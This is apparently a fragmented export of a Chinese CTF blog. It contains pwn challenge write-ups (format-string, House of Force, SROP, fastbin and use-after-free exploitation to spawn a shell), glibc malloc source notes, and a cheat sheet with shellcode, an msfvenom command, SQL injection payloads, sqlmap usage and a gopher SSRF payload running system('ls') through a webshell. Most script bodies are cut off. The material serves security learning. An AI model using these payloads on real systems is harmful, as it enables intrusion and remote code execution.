例如,如果对char*类型的iterator执行copy操作,那么copy函数就可以直接使用memcpy来完成操作,而不是遍历复制再构造。如此以提高算法的效率。
请看如下源码:
1 | vector<_Tp, _Alloc>::_M_insert_aux(iterator __position, const _Tp& __x) |
_Tp* _M_start
—— 指向所分配数组的起始位置_Tp* _M_finish
—— 指向已使用空间的末端位置+1_Tp* _M_end_of_storage
—— 指向所分配数组的末尾位置+1_List_node<_Tp>* _M_node
—— 指向链表的末尾节点,该节点的成员_M_next
指向的是链表的起始节点。此处将会收录笔者力所能及的题解。
超出笔者技术水平的题目(例如kernel exploit)以及笔者因各种因素无法接触的题(例如bind pwn)将不会被收录。
点击这里下载文件
duplicate global definition
)便可得知,该程序为C语言解释器说了这么多,其实和解法一点关系也没有 T_T
我们需要先泄露出libc的版本来。 先在printf处下断点,然后计算__libc_start_main_ret的相对偏移量
然后用printf格式化字符串漏洞来泄露__libc_start_main_ret的地址。之后就可以查询libc-database,得到libc的版本
1 | int main() |
在得到libc版本后,一定要先打patch!!!。当程序使用不同libc时,其内存布局也会不一样,会发生改变,所以一定要先打patch。
一个可能的原因是,程序被装载时,其内存布局可能是由libc上关于ELF的代码所设置的。
不同libc的相关代码可能不一样
因为 mmap 分配的内存与 libc 之前存在固定的偏移,因此可以推算出 libc 的基地址
尚未查明原因。不过ASLR的实现可能也是基于mmap函数的分配机制
先在程序退出处下断点,然后把本地变量地址输出。并在vmmap里找寻libc的基地址。两者相减便可得到相对偏移
1 | int main() |
在得到了libc版本和基地址后,只要将libc中__free_hook
改为system
函数的起始地址,然后再free("/bin/sh")
即可get shell.
注意!
- 变量a不可声明为char,原因是char类型变量只会修改一个字节,这无异于杯水车薪。
- 下面的C语言exp中,变量a的类型为int, 则&a是int* 的值,故&a + 1 == (int)&a + 8。
所以变量a与__free_hook的相对偏移需要除以sizeof(int)。
如果您仍然迷惑,请查阅C语言指针运算相关知识。
1 | int main() |
1 | # -*- coding: utf-8 -*- |
点击这里下载文件
VMpwn有几个共性
3/4个寄存器
IP
,用于指向下条指令的指针SP
,指向虚拟栈的栈顶AX
,用于存放运算结果的变量BP
(如果有的话),用于指向虚拟栈中某些位置,以便于运算时使用该程序可执行 压栈、弹栈、+-*/%等运算、指针解引用 等,还支持对 指令立即数 的相关操作。
动态调试发现,初始时虚拟栈上存有栈上environ
的地址
所以我们可以通过修改虚拟栈上存放的environ
地址,将其减去某个偏移,得到__libc_start_main_ret
所在的栈地址。进而在__libc_start_main_ret
的栈地址处写入one_gadget。待main函数返回时get shell.
one_gadget的地址可通过对
__libc_start_main_ret
值的运算得到
这题的libc必须沿用上一题boom1的libc。这题没有回显,无法泄露远程libc版本,但又必须使用one_gadget
1 | # -*- coding: utf-8 -*- |
点击这里下载文件
1 | # -*- coding: utf-8 -*- |
点击这里下载文件
点击这里下载文件
程序会生成两个随机数,并将这两个数放置在栈上。同时,程序还会将某个随机数的栈地址后2字节放置在栈上
在执行log_in
函数之后,判断栈上两个随机数是否相同,如果相同则get shell。
log_in
函数存在格式化字符串漏洞
这个漏洞函数有点坑,故意设置arg2为
%s
。 如果审计伪代码时速度稍微快了一点,说不定就审不出来了 :-)
既然我们要通过格式化字符串漏洞来pass后面的随机数比较,那么我们就先看看栈上的数据
我们希望将这半截地址写到栈上存储的某个栈地址上,从而在栈上构造随机数1的栈地址。之后便可以通过该地址来修改上面的随机数。
一个小例子:
- 假设rand1的栈地址为
0xFFFF1111
, 栈上已经存放了其半截地址0x1111
- 在栈上找到一个地址
0xFFFF2222
,该地址上存放着一个栈地址0xFFFF3333
([0xFFFF2222
] =0xFFFF3333
)。同时地址0xFFFF3333
上存放着另一个栈地址0xFFFF4444
([0xFFFF3333
] =0xFFFF4444
)- 通过指针
0xFFFF2222
,向地址0xFFFF333
写入两字节0x1111
,使得[0xFFFF333
] =0xFFFF1111
- 现在,栈上已经存放了指针
0xFFFF1111
。之后我们就可以通过格式化字符串漏洞修改地址0xFFFF1111
上的值
我们可以在栈的底部找到所需的栈1->栈2->栈3
链
关键点:利用格式化字符串 %*A$c%B$hn
, 我们可以将argA上的两字节移动到argB指向的内存上
argA、argB为printf的参数A、参数B。参数0为格式化字符串地址
%*A$c
的效果与%[argA]c
相同。都是输出argA个字符。
例子:%*12$c%22$hn
, 将printf参数12的两字节,写入到参数22指向的内存中
在计算出相对偏移后,将随机数rand1的半截地址写入栈1->栈2->栈3
指针链中的栈2
,从而使栈2
指向rand1
。
栈1
->栈2
->rand1
然后我们就可以通过栈2
,修改rand1
的值为rand2
的值了。
最后,通过rand1 != rand2
的判断,get shell。
1 | %*19$c%52$hn |
点击这里下载文件
点击这里下载文件
ls
- 输出 ‘flag pwn 1 2’vim 1
- 向一块malloc出的地址(buf1) 写入数据vim 2
- 向另一块malloc出的地址(buf2) 写入数据rm 1
- 将buf1释放,free后没有重置buf1指针rm 2
- 将buf2释放,free后没有重置buf2指针cat 1
- 调用puts
函数输出cat 2
- 调用printf
函数输出。注意,存在格式化字符串漏洞ls
- 修改某个字符串为传入的“文件夹”名称strcpy
危险函数,但输入长度已被限制,无法通过该函数进行溢出%n
、%h
、%x
。若出现,则程序判定为攻击,不执行printf函数这个字符串的检查相当的鸡肋,原因是在该漏洞的利用中,百分号后面大概率紧跟着数字。例如 %16hhn`
__free_hook
改为system
地址,并通过执行free("/bin/sh")
来获取shell.__libc_start_main_ret
地址,得到libc的版本,并进一步计算system
地址和__free_hook
地址。为接下来的操作做准备。%11hhn
修改一个字节,修改6次即可完成目标。1 | # -*- coding: utf-8 -*- |
以下部分介绍来自CTF wiki
-1
。-1
,刚好是最大的无符号整数。-2*MINSIZE
(在64位机器上为-0x40
)为什么? 请在heap相关宏定义中,查阅
checked_request2size(req, sz)
宏定义。
(offset = target_addr - top_chunk_addr + chunk_head_size + [chunk_align])
malloc(-offset)
就可以将top chunk迁移到目标地址。为什么malloc的大小是
-offset
呢?这就涉及到无符号整数的计算了。top_chunk_addr + (unsigned)(-offset)
,其计算结果由于最高位溢出,会刚好等于target_addr
以上的偏移量计算方式是假定目标地址比堆的地址要低。但实际上,如果目标地址比堆的地址要高,则上述计算方式依然成立。
magic
,输出/home/bamboobox/flag
虽然存在后门函数,但BUUOJ几乎从不复现环境。所以House Of Force是得不到flag的。
hello_message
和goodbye_message
函数指针的chunkmagic
,进而在退出时执行magic
函数1 | # -*- coding: utf-8 -*- |
被用于其他博客例题的题目将不会在此重复收录
mprotect函数,妙用多多
1 | # -*- coding: utf-8 -*- |
printf(buf) 可不只是格式化字符串漏洞。将got[‘printf’]修改为plt[‘system’]后,也可以RCE
1 | # -*- coding: utf-8 -*- |
1 | from pwn import * |
mov rax, 0Fh ; retn
和 mov rax, 3Bh ; retn
。对应到函数,就是sys_rt_sigreturn
和sys_exec
vuln函数中sys_write会泄露出栈地址,所以我们可以通过计算偏移,获得输入数据的起始栈地址
我们可以尝试ret2syscall,执行sys_exec('/bin/sh', 0, 0)
来获取shell,但有几个前提
%rax = 0x3b, %rdi = binsh_addr, %rsi = 0, %rdx = 0
但是经过一番查找,发现没有%rdx对应的gadget, 所以常规构建ROP链的解法不可用
不过我们可以利用__libc_csu_init
里的gadget来完成我们的目的
__libc_csu_init 可用gadgets源码
1 | loc_400580: |
我们可以通过 __libc_csu_init
下的一堆的pop指令,将对应寄存器赋值,然后ret到上面的loc_400580
通过其中对%rdi、%rsi、%edx的赋值来实现对函数参数的控制,并通过call qword ptr [r12+rbx*8]
来执行目标代码
除了这个,我们必须在输入数据里构造这样的一个类init_array的数组,并让%r12指向它,从而执行我们的目标代码
1 | # -*- coding: utf-8 -*- |
1 | # -*- coding: utf-8 -*- |
前面虽然做过一道关于SROP的题,但并没有具体总结。这次就来总结一下
SROP的原理? (下文摘自CTF wiki)
Signal Frame的构建是比较复杂的,因为不同架构下的结构是不一样的。不过值得一提的是,在目前的pwntools
中已经集成了对于SROP的攻击。所以我们可以很方便的构建出Signal Frame。
注: 在本文中,Signal Frame和SigreturnFrame是同一个意思
SIGSEV
str(frame)[8:]
),而不是目的寄存器向前偏移一个位置(不是很懂?请阅读下面的例题 :-))seccomp
函数,只能ORWcall
)由于程序是 call sys_sigreturn ,所以当即将执行sys_sigreturn时,其rsp指向的是 &SigreturnFrame + 8
(call指令会将old rip压栈)。 所以在传入SigreturnFrame时,必须从第8个字节开始,否则会SIGSEV,即
1 | frame = SigreturnFrame() |
偏移8个字节可能大家都知道,但可能有部分小伙伴是这么做的
1 | ''' 注:以下64位SigreturnFrame结构,来自pwntools库中的SROP.py |
他们将每个寄存器的值都向上偏移8个字节,从而使rax、rdi等寄存器中刚好存入我们期望的值
但动态调试时,执行函数(例如read),或者syscall,总会引发SIGSEV,这是为什么?
frame.eflags = 51 # cs
,程序就可以正常工作了1 | # -*- coding: utf-8 -*- |
off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且 只越界了一个字节
off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关
例如以下代码:
1 | char* note = malloc(noteSize); |
glibc中的内存管理机制ptmalloc 极度依赖 chunk的size成员,故off-by-one漏洞威力强大
同时, 由于Linux 的堆管理机制 ptmalloc 验证的松散性, off-by-one 漏洞的利用难度不大
在说起__realloc_hook前,我们先看看__libc_realloc函数的汇编代码
我们可以很容易的看到,realloc函数在一开始就会大量的抬高栈帧,然后执行__realloc_hook指向的函数
(如果有的话)
这种抬高栈帧的手法,我们可以用在 千辛万苦打穿__malloc_hook后,one_gadget不满足利用条件的尴尬场景
__malloc_hook和__realloc_hook在内存上是相邻的,所以fastbin attack修改这两个指针是比较方便的
我们可以将__malloc_hook修改为 realloc函数上偏移数个字节后的地址(偏移字节取决于栈帧抬高的大小)。例如上图所示,若希望栈帧抬高0x38则设置__malloc_hook为 &realloc+16
注意,此处所指的realloc函数为
__libc_realloc
,而不是_int_realloc
当抬高栈帧后,满足了one_gadget的执行条件,自然就要设置执行one_gadget,所以其__realloc_hook就需要设置为one_gadget地址
即:__malloc_hook设置为realloc地址+offset, __realloc_hook设置为one_gadget地址
这题做法其实和上一道fastbin attack相差不大,只是有一点点不太一样
不了解fastbin attack? 看看这个
1 | # -*- coding: utf-8 -*- |
如果我们更改fastbin链尾的fast chunk fd指针为我们的目的地址
则在几次malloc后,fastbin指针就会指向我们的目的地址
下一次malloc fast_chunk就会取得目的地址的指针,然后就可以进行读写了(操作取决于程序)
例子
1 | // 初始时malloc两个fast chunk |
注意,申请fast chunk时,malloc内会有相应的检测,所以我们必须尝试绕过
但这里有个问题,如何获取libc基地址
现在我们将问题转化为,如何获取 unsorted chunk的fd指针值
我们可以这样做
首先malloc4块chunk
1 | char * fast_chunk_1 = malloc(0x10) |
然后通过堆溢出,修改fast_chunk_2的size为 0x180,使 unsorted chunk 完全包含于fast_chunk_2
然后free掉fast_chunk_2 再malloc(0x170)回来,此时fast_chunk_2的读写范围扩大了
这时候我们要释放unsorted chunk,由于unsorted bin的size在malloc fast_chunk_2时被清零了,所以需要修复一下
修复好后再free掉unsorted chunk
此时便可以通过fast_chunk_2 来输出main_arena地址
得知main_arena地址,计算出__malloc_hook和one_gadget地址后,我们便可以实现一次fastbin attack
然后两次malloc(0x60),就可以申请到目标地址的内存了
接下来就是修改__malloc_hook为one_gadget,然后再来个malloc就可以get shell.
1 | # -*- coding: utf-8 -*- |
__int_free
—— 核心内存释放函数所有的分析都以注释的形式添加进源代码中,方便阅读
1 |
|
注意! 以下步骤若未明确标明退出函数,则表示在执行完当前操作后,继续执行剩余操作
看了之前关于malloc和free的相关源码
1 | if (have_fastchunks (av)) |
就算不看malloc_consolidate的源码,也猜得出来其功能
该函数是对 fast chunk 进行内存整合
但为什么该函数取名为malloc_consolidate呢?真误导人呀 :-(
但即便如此,该函数还起到了一个堆的初始化作用
感到奇怪? 看源码咯~
所有的分析都以注释的形式添加进源代码中,方便阅读
1 | /* |
1 | # 启动调试程序,其中带有传入的参数 |
1 | # 针对PIE程序高效下断 |
1 | # 栈溢出时,计算当前栈帧的高度 |
UAF —— Use After Free. 指的是当某个指针被free后,没有及时将这个指针置空,导致该指针成为悬浮指针,在程序中仍然可以对该指针指向的内存执行某些操作,例如写入数据,查看数据等(操作取决于程序)
点击 这里 下载题目
1 | root @ Kiprey in ~/Desktop/Pwn [14:16:43] |
1 | int addNote() |
通过对addnote
函数的分析,我们可以得知note
的结构体为
1 | struct note |
而这个func
在添加note
时会被赋值成myPuts
(笔者自己命名的函数名)的函数地址
1 | void myPuts(char * note) |
程序每次输出note
时都是调用这个函数进行输出
例如:
1 | struct note myNote[5]; |
deleteNote
函数里,程序在free
时没有重置指针的值。这是一个很明显、很典型的UAF漏洞。
我们可以利用fastbin链的特性,来使一个可修改的指针指向某个被释放的note的func成员指针,进而修改该指针并执行其指向的函数
我们可以先声明两个note,分别称为note0、note1,注意这两个note的note size必须大于12, 这样content chunk[^1]的大小就会 大于 note chunk[^2]的大小。
[^1]: 为了方便,我们将分配作为note的chunk称为note chunk
[^2]: 与上条类似,我们同样将分配作为content的chunk称为content chunk
为什么note size 要大于12, 而不是大于8?
这是因为chunk里prev_size
成员的空间复用。
当某个chunk已被分配时,该chunk的下一个虚拟内存相邻chunk,其prev_size成员是无效的,故可被上一个chunk使用
如此,当这两个note都被释放时,两个note的note chunk会放置进相同索引的fast bin链里,而另外两个content chunk则会放置进 另一个索引 的fast bin链里。
这样,note chunk 和 content chunk 在fast bin链中互不干扰
就像这样:
第二步就是新建一个新的note2,注意该note的note size要小于12。
这样,fastbin上note1的空间就会被分配,成为note2的content chunk
(fastbin上note0的空间被分配给note2了,成为note chunk,注意fastbin的LIFO)
就像这样:
注意:当程序可以执行system函数时,注意传入的地址为note2的地址,所以[system addr]
以及其后4个字节都会被解释成字符串尝试执行。但[system addr]又必须保留,那该如何get shell呢?
这里有个小技巧,我们可以在最后四个字节构造"||sh"
。这样便会执行system("[system addr]||sh")
由于[system addr]
肯定执行失败,所以便会执行到后面的sh
。这样便可以get shell
最关键的点已经说清楚了,后面的就不再赘述了 :ghost: :ghost:
myPuts
函数(func指针默认设置的函数),got@read
(随便哪个已经延迟绑定过的函数都行)system
函数的地址system
函数"||sh"
字符串1 | # -*- coding: utf-8 -*- |
常用exp
1 | import gmpy |
查找所有 commit - 参考链接
1 | # 查看所有commit,包括已撤回的提交 |
查看 git 提交的文件内容 - git 对象库
1 | # 查看所有提交log(包括已撤回的提交) |
Binwalk - 帮助
查看隐藏的文件
1 | binwalk -I xxxx |
提取所有隐藏文件
1 | binwalk -e xxxx |
编码方式
编码集
beyond compare
命令对比)格式化字符串
1 | // %lln 四字 / %ln 双字 / %hn 单字 / %hhn 字节 |
DynELF 类 - 用于泄露 libc - docs
注意:构建leak函数时,必要时刻需要重置栈
防止因为部分关键数据被覆盖而导致leak失败陷入死循环
Fmtstr 类 - 对 printf 漏洞构造恶意 format - docs
fmtstr_payload(offset,{address:data}, numbwritten=0, write_size=’byte’)
。第一个参数 offset 是第一个可控的栈偏移(不包含格式化字符串参数)
第二个字典看名字就可以理解,
numbwritten 是指 printf 在格式化字符串之前输出的数据,比如 printf(“Hello [var]”),此时在可控变量之前已经输出了“Hello ”共计六个字符,应该设置参数值为 6。
第四个选择用 %hhn(byte),%hn(word)还是%n(dword).在我们的例子里就可以写成 fmtstr_payload(5, {printf_got:system_plt})
shellcraft 类 - shellcode 生成器
使用前需先指定平台
1 | context(os="linux", arch="amd64", bits=64) |
部分函数声明
log.success()
log.info()
log.error()
log.failure()
context.level
= ‘debug’/‘error’p64(int)
—— 传入值,传出 bytesu64(bytes)
—— 与 p64 相反ELF(elf_path_str)
—— 读取 ELF 文件(可执行文件,.so 共享库…)process(path_str)
—— 执行传入文件路径上的程序remote(ip_str, port_int
)` —— 传入格式为字符串的 ip 地址,以及格式为值的端口,连接并得到 IO 对象send(bytes)
—— 发送数据,不带 0x0Asendline(bytes)
—— 发送数据,结尾带 0x0A(’\n’)recv(int)
—— 参数可选,接收 n 个字节的数据recvline()
—— 接收数据,在没有接收到换行符的情况下一直阻塞recvuntil(Str)
—— 一直读取输出的信息,直到读取到传入的字符串有时候可能会因为缓冲区的问题阻塞一部分数据,加上 sleep 调整可能会得到改善
# 查找字符串 ROPgadget --binary ./pwn --string "/bin/sh" # 查找全部的gadget,并通过管道将信息发送到grep进行筛选 ROPgadget --binary ./pwn1_64 | grep "pop rdi" #筛选出有pop或ret的片段 ROPgadget --binary ./pwn1_64 --only "pop|ret" 1
2
3
4
5
6
7
8
9
10
11
12
2. > 注意:构建超长ROP链时,必要时刻需要重置栈
> 防止因为部分关键数据被覆盖而导致调用syscall的函数无法使用
> 例子: hgame2020 ROP_LEVEL0 构建 open-read-puts 链
## 7. GDB
```bash
#输出system函数的内存地址
gdb-peda$ print system
#显示某个地址上的值,x表示examine,s表示string
db-peda$ x/s 0x7FFFF7F7ECEE
pwn 题给出的 libc.so
libc-database : 通过某些函数的地址来查询 libc 的版本 - 在线工具
更换加载的 libc.so
1 | patchelf --set-interpreter <libc_ld> <elf_name> # 设置链接器 |
注意,更换使用的libc时,一定要同时更换对应版本的
ld.so
链接器,否则会无法正常使用libc而导致段错误
常用 shellcode
1 | // Linux x86-64 29 bytes |
生成特定格式的 shellcode - msfven
1 | python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o output.txt |
迷宫问题有以下特点:
#
之类的),也可能是一些数字的二进制详情CTF-Wiki
]]>示例
1 |
|
xip.io - 这个域名在bypass WAF时可能会有点作用
以下是简介
1 | What is xip.io? |
注意:windows清除本地DNS缓存的命令为
ipconfig/flusdns
(别问我为什么要给出来,相信我,你一定会用上的 XD)
file://localhost/etc/passwd 能够读取到 /etc/passwd 的内容,同时这种情况会忽略 host
1 | gopher://{host}:{port}/_{body} |
使用方法:
首先构造 POST 的 payload
1 | admin=h1admin&hacker=system("ls"); |
然后构造整个 HTTP 请求( Content-Length不能少 )
注意:
%3B
1 | POST /webshe11111111.php HTTP/1.1 |
加上协议的其他部分
1 | gopher://127.0.0.1:80/_POST /webshe11111111.php HTTP/1.1 |
url 编码 (有些部分需要二次编码,例如%0d %0a %20 分别编码为 %250d %250a %2520
)
1 | gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Fwebshe11231231231.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AUser-Agent%3A%2520curl%2F7.43.0%250D%250AAccept%3A%2520*%2F*%250D%250AContent-Length%3A%252034%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250A%250D%250Aadmin%3Dh1admin%26hacker%3Dsystem(%22ls%22)%3B |
访问该地址得到目录下的文件
源码
1 |
|
有趣的域名
在console窗口中输入如下代码刷新页面即可设置新cookies
1 | document.cookie="keyName=cookeiValue"; |
1 | http://test.com/index.php?action=php://filter/convert.base64-encode/resource=flag.php |
sql 注入
注意点:
在地址栏输入#
时,应尽量改写成%23
,原因是#
在地址栏中有特殊的含义
在地址栏输入空格时,应尽量改写成
%20
或+
常用过WAF的套路
空格过滤
/**/
1 | id=1'/*1*/union/*1*/select/*1*/database();# |
常用语句
判断当前表的列数
1 | order by 列数 %23 |
获取当前数据库名
1 | union select database() %23 |
获取所有数据库名
1 | union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA %23 |
获取指定数据库的表名
1 | union select group_concat(table_name) from information_schema.tables where table_schema='数据库名' %23 |
获取指定数据表的列名(字段名)
1 | union select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' %23 |
获取指定数据表指定字段的全部数据(使用where
指定单一数据)
1 | union select 字段名 from 表名 %23 |
修改指定数据表指定字段的数据(使用where
指定单一数据)
1 | ; UPDATE 表名 set 字段=内容 where 1=1 |
sqlmap常用语法
1 | 检查注入点: |
其他
show databases
的结果取之此表。show tables from schemaname
的结果取之此表。show columns from schemaname.tablename
的结果取之此表。常用 sql 语法
1 | UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 |
php 超全局变量
1 | $GLOBALS |
md5 碰撞 => 利用 php 弱类型
QNKCDZO
240610708
__int_malloc
—— 核心内存分配函数所有的分析都以注释的形式添加进源代码中,方便阅读
1 | static void * |
malloc
后首执行的函数 —— __libc_malloc
!所有的分析都以注释的形式添加进源代码中,方便阅读
1 | void * |
注意! 以下步骤若未明确标明退出函数,则表示在执行完当前操作后,继续执行剩余操作
fastbin->fd
)smallbin->bk
)不指向small bin自己,则判断该指针是否为NULLmalloc_consolidate
函数malloc_consolidate
函数malloc_consolidate
函数,然后 返回for循环起点,重新执行相关代码set_max_fast(s)
用处
源代码
1 |
|
get_max_fast()
用处
源代码
1 |
fastbin_index(sz)
用处
源代码
1 | /* offset 2 to use otherwise unindexable first 2 bins */ |
fastbin(ar_ptr, idx)
用处
源代码
1 |
catomic_compare_and_exchange_val_acq(mem, newval, oldval)
用处
源代码
1 |
|
have_fastchunks(M)
用处
源代码
1 |
in_smallbin_range(sz)
用处
源代码
1 |
|
smallbin_index(sz)
用处
源代码
1 |
|
unsorted_chunks(M)
用处
源代码
1 | /* The otherwise unindexable 1-bin is used to hold unsorted chunks. */ |
largebin_index(sz)
用处
源代码
1 |
|
atomic_forced_read(x)
用处
源代码
1 |
|
__builtin_expect(expr, val)
用处
源代码
1 |
__glibc_unlikely(cond)
用处
源代码
1 |
__glibc_likely(cond)
用处
源代码
1 |
arena_get(ptr, size)
用处
源代码
1 |
|
arena_lock(ptr, size)
用处
源代码
1 |
|
mutex_unlock(m)
用处
源代码
1 |
assert(expr)
用处
SIGABRT
信号)源代码
1 |
|
chunk_is_mmapped(p)
用处
源代码
1 |
chunk2mem(p)
用处
源代码
1 |
mem2chunk(mem)
用处
源代码
1 |
arena_for_chunk(ptr)
用处
源代码
1 |
|
request2size(req)
用处
源代码
1 |
|
checked_request2size(req, sz)
用处
Check if a request is so large that it would wrap around zero when padded and aligned.
size_t
类型的堆块大小有可能上溢至0源代码
1 |
|
bin_at(m, i)
用处
源代码
1 | /* addressing -- note that bin_at(0) does not exist */ |
first(b)
/ last(b)
用处
源代码
1 | /* Reminders about list directionality within bins */ |
set_inuse_bit_at_offset(p, s)
用处
PREV_INUSE
标志位,以说明被设置PREV_INUSE
的chunk的上一个chunk已被分配源代码
1 |
|
check_malloced_chunk(A, P, N)
用处
源代码
1 |
chunksize(p)
用处
源代码
1 | /* |
chunk_at_offset(p, s)
用处
p
偏移 s
个单位后的地址源代码
1 | /* Treat space at ptr + offset as a chunk */ |
set_head(p, s)
用处
p
的 size成员为变量s
源代码
1 | /* Set size/use field */ |
set_foot(p, s)
用处
p
下一个chunk 的 prev_size成员为变量s
源代码
1 | /* Set size at footer (only when chunk is not in use) */ |
unlink(AV, P, BK, FD)
用处
源代码
1 | /* Take a chunk off a bin list */ |
next_bin(b)
用处
源代码
1 | /* analog of ++bin */ |
idx2block(i)
用处
源代码
1 |
mark_bin(m, i)
用处
源代码
1 |
unmark_bin(m, i)
用处
源代码
1 |
get_binmap(m, i)
用处
源代码
1 |
MINSIZE
用处
源代码
1 | /* The smallest possible chunk */ |
misaligned_chunk(p)
用处
源代码
1 |
|
aligned_OK(m)
用处
源代码
1 |
set_fastchunks(M)
用处
源代码
1 |
prev_inuse(p)
用处
源代码
1 |
FASTBIN_CONSOLIDATION_THRESHOLD
源代码
1 | /* |
contiguous(M)
源代码
1 | /* |